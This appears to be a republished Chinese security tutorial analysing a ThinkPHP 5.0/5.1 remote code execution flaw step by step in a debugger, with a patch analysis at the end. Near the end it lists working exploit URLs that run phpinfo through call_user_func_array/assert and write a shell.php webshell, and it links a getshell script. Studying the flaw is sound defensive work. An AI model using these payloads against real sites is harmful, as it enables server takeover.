thinkphp v5.0.11漏洞_ThinkPHP5丨远程代码执行漏洞动态分析
ThinkPHP是為了簡化企業級應用開發和敏捷WEB應用開發而誕生的,在保持出色的性能和至簡代碼的同時,也注重易用性。但是簡潔易操作也會出現漏洞,之前ThinkPHP官方修復了一個嚴重的遠程代碼執行漏洞。
這個漏洞的主要原因是由于框架對控制器名沒有進行足夠的校驗導致在沒有開啟強制路由的情況下可以構造惡意語句執行遠程命令,受影響的版本包括5.0和5.1版本。
那么今天i春秋用動態分析法來介紹遠程代碼執行,同時還能快速了解整個執行過程和一些變量參數,文章閱讀用時約7分鐘。
01
環境
程序源碼下載:
http://www.thinkphp.cn/download/967.html
Web環境:Windows 10 x64+PHPStudy 20018
調試工具:phpstorm+xdebug(用vscode也可以,我比較習慣用phpstorm)
因為我是從頭分析到尾,所以要在設置里面勾上Break at first line in PHP script
搭建就不多說了,放源碼在根目錄然后phpstudy啟動!
02
漏洞復現
其實有很多利用的地方,到后面分析完再說。
03
漏洞分析
因為是從開始分析,也比較適合新手,就不演示去下某個斷點了,如果有不懂的你們也可以在不懂的地方下一個斷點然后繼續分析(記得去掉Break at first line in PHP script再下斷點)。
有些不是重點的直接F7或者F8走下去,F7跟進Facade:
到App.php初始化的地方,繼續F8往下面走:
到routeCheckF7跟進去:
到這里F7繼續跟進去:
有些沒有必要的函數就直接F8跳過去,到pathinfo( )這里F7跟進去:
我們可以分析一下這個·pathinfo函數的代碼$this->config->get('var_pathinfo')這一句是從配置文件config/app.php獲取的值:
當請求報文包含$_GET['s'],就取其值作為pathinfo,并返回pathinfo給調用函數,所以我們可利用$_GET['s']來傳遞路由信息。
? ? public function pathinfo(){? ?? ???if (is_null($this->pathinfo)) {
? ?? ?? ?? ?if (isset($_GET[$this->config->get('var_pathinfo')])) {
? ?? ?? ?? ?? ? // 判斷URL里面是否有兼容模式參數
? ?? ?? ?? ?? ? $_SERVER['PATH_INFO'] = $_GET[$this->config->get('var_pathinfo')];
? ?? ?? ?? ?? ? unset($_GET[$this->config->get('var_pathinfo')]);
? ?? ?? ?? ?} elseif ($this->isCli()) {
? ?? ?? ?? ?? ? // CLI模式下 index.php module/controller/action/params/...
? ?? ?? ?? ?? ? $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
? ?? ?? ?? ?}
? ?? ?? ?? ?// 分析PATHINFO信息
? ?? ?? ?? ?if (!isset($_SERVER['PATH_INFO'])) {
? ?? ?? ?? ?? ? foreach ($this->config->get('pathinfo_fetch') as $type) {
? ?? ?? ?? ?? ?? ???if (!empty($_SERVER[$type])) {
? ?? ?? ?? ?? ?? ?? ?? ?$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
? ?? ?? ?? ?? ?? ?? ?? ?substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
? ?? ?? ?? ?? ?? ?? ?? ?break;
? ?? ?? ?? ?? ?? ???}
? ?? ?? ?? ?? ? }
? ?? ?? ?? ?}
? ?? ?? ?? ?$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
? ?? ???}
? ?? ???return $this->pathinfo;
? ? }
可以看到return $this->pathinfo;返回的內容:
F7走,可以看到$pathinfo賦值給$this->path:
F7走到check的函數,如果開啟了強制路由則會拋出異常,也就是說該漏洞在開啟強制路由的情況下不受影響,但是默認是不開啟的。
后面看到實例化了UrlDispatch對象,將$url傳遞給了構造函數。
再繼續分析下去,中間有些不必要的直接F8走過就行了。可以看到將$url傳遞給了$action。
F7走下去,跳回了App.php,可以看到$dispatch返回來的值代入dispatch方法。
F7走進去,可以看到傳入的$dispatch賦值給了$this->dispatch,不過現在分析這個版本是有改動的,有些版本是在這里用dispatch代入下面會分析到的parseUrl方法,這個版本的是用$this->action來parseUrl方法的,繼續分析下去,下面會分析到的。
F7又返回了App.php的文件,可以看到執行調度這里$data = $dispatch->run( );,我們F7跟進去。
這里就是上面所說的,$url是由thinkphp/library/think/route/Dispatch.php里面的$this->action = $action;傳過來的。
我們F7繼續分析parseUrl方法,然后F8走到這里。
F7進到這個parseUrlPath方法里面,用/來分割[模塊/控制器/操作]并存到$path數組里面。
? ? private function parseUrlPath($url){? ?? ???// 分隔符替換 確保路由定義使用統一的分隔符
? ?? ???$url = str_replace('|', '/', $url);
? ?? ???$url = trim($url, '/');
? ?? ???$var = [];
? ?? ???if (false !== strpos($url, '?')) {
? ?? ?? ?? ?// [模塊/控制器/操作?]參數1=值1&參數2=值2...
? ?? ?? ?? ?$info = parse_url($url);
? ?? ?? ?? ?$path = explode('/', $info['path']);
? ?? ?? ?? ?parse_str($info['query'], $var);
? ?? ???} elseif (strpos($url, '/')) {
? ?? ?? ?? ?// [模塊/控制器/操作]
? ?? ?? ?? ?$path = explode('/', $url);
? ?? ???} elseif (false !== strpos($url, '=')) {
? ?? ?? ?? ?// 參數1=值1&參數2=值2...
? ?? ?? ?? ?parse_str($url, $var);
? ?? ???} else {
? ?? ?? ?? ?$path = [$url];
? ?? ???}
? ?? ???return [$path, $var];
? ? }
中間的繼續F8往下走,返回的$route數組
繼續往下走,F7進去。
可以看到:
thinkphp/library/think/route/Dispatch.php類這里的$this->action的值變了。
繼續會走到:
thinkphp/library/think/route/dispatch/Module.php,可以看到$this->action賦值給了$result。
F8往下走,走到實例化控制器,這里的$controller是可控的,是由上面的$result[1]傳過來的。
F7跟進去,當$name存在反斜杠時就直接將$name賦值給$class并返回。攻擊者通過控制輸入就可以操控類的實例化過程,從而造成代碼執行漏洞。
下面就是調用反射執行類的步驟了:
也可以往下看,這里是通過invokeMethod?函數動態調用方法的地方,可以看到$class是think\Requset的類,$method是input。
后面就是把內容輸出到瀏覽器的過程了
04
漏洞分析回顧
開始我們分析pathinfo( )函數的時候得知可以用s來獲取路由信息
parseUrlPath方法用來分割[模塊/控制器/操作]格式
在后面傳入$controller的時候,就是開始我們獲取到路由的值,但是用反斜杠就開頭,就是想要實例化的類。
最后是反射函數,調用了input方法執行phpinfo( )
一定是要Request類里面的input方法來執行嗎?
不一定,視版本而決定。
以下是先知大神分類出來的
5.1是下面這些:
think\LoaderComposer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error
think\Container
think\App
think\Env
think\Config
think\Hook
think\Facade
think\facade\Env
env
think\Db
think\Lang
think\Request
think\Log
think\log\driver\File
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File
5.0 的有:
think\Routethink\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader
兩個版本公有的是:
think\Routethink\Loader
think\Error
think\App
think\Env
think\Config
think\Hook
think\Lang
think\Request
think\Log
5.1.x php版本>5.5:
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=asserthttp://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php
5.0.x php版本>=5.4:
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()這里也不寫getshell的python腳本了 ,可以參考:
https://github.com/theLSA/tp5-getshell
05
補丁分析
下面是針對5.0和5.1的補丁,添加了正則過濾,導致無法再傳入\think\app這種形式的控制器。
以上是今天的內容,大家看懂了嗎?
新來的朋友如果想要了解其他的必備技能和實用工具,可以點擊菜單欄中的入門錦囊查看相關內容:
文章素材來源于i春秋社區
i春秋官方公眾號為大家提供
前沿的網絡安全技術
簡單易懂的實用工具
緊張刺激的安全競賽
還有網絡安全大講堂
更多技能等你來解鎖
總結
以上是生活随笔為你收集整理的thinkphp v5.0.11漏洞_ThinkPHP5丨远程代码执行漏洞动态分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql主从配置_MySQL主从配置详
- 下一篇: oracle分组后伪列,Oracle伪列